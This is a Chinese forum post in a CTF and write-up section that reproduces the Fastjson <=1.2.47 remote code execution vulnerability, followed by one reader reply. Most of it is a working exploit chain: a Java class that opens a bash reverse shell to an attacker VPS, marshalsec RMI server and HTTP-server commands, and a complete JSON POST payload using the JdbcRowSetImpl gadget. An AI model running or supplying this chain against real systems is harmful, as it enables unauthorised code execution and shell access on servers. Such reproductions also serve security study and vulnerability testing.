Fastjson 漏洞复现

Track-mss   ·   发表于 2021-08-25 11:45:52   ·   CTF&WP专版

0x01 Fastjson <=1.2.47 远程代码执行漏洞

本漏洞复现要求有一台vps作为攻击机,以下操作均在vps上完成。

1.获取exp
exp就是一个反弹shell的代码

复制代码

  1. public class Exploit {
  2. public Exploit(){
  3. try{
  4. Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPSip/8888 0>&1");
  5. }catch(Exception e){
  6. e.printStackTrace();
  7. }
  8. }
  9. public static void main(String[] argv){
  10. Exploit e = new Exploit();
  11. }
  12. }

2.vim Exploit.java 修改成vpsIP和端口,此处的端口与后面NC监听的端口对应(反弹shell的过程)。

3.javac Exploit.java 把java文件编译成class文件。注意:此处要求攻击机的javac是1.8的低版本(测试在1.8.0_181可成功,尽量低于1.8.0_191版本),编译需具备marshalsec-0.0.3-SNAPSHOT-all.jar文件,可从github上下载(资源)

jdk低版本rpm文件包与安装方法参考:sourse -适用于centOS系统。

4.用python开启web服务,可随意设置端口

python3 -m http.server 8081

5.然后借助marshalsec项目,启动一个RMI服务器,监听9999端口(句尾的9999端口为RMI服务端口,此端口和后面poc中rmi项的端口对应,用于RMI调用远程方法),并制定加载远程类Exploit.class:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://vpsIP:8081/#Exploit" 9999

6.用nc开启端口监听,此处的端口跟exploit.java中的端口一致

7.用burp发送poc(需修改两个位置的ip,第一个为目标ip,第二个为vps攻击机的ip。注意content-type为json),等待shell

  1. POST / HTTP/1.1
  2. Host: 目标ip
  3. User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Content-Type: application/json
  9. Content-Length: 264
  10. {
  11. "a":{
  12. "@type":"java.lang.Class",
  13. "val":"com.sun.rowset.JdbcRowSetImpl"
  14. },
  15. "b":{
  16. "@type":"com.sun.rowset.JdbcRowSetImpl",
  17. "dataSourceName":"rmi://vpsIP:9999/Exploit",
  18. "autoCommit":true
  19. }
  20. }

可见已getshell:

用户名金币积分时间理由
nzfish 4.00 0 2022-10-17 11:11:11 一个受益终生的帖子~~

打赏我,让我更有动力~

1 条回复   |  直到 2022-10-17 | 1657 次浏览

nzfish
发表于 2022-10-17

请问发送poc返回500是啥问题?

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.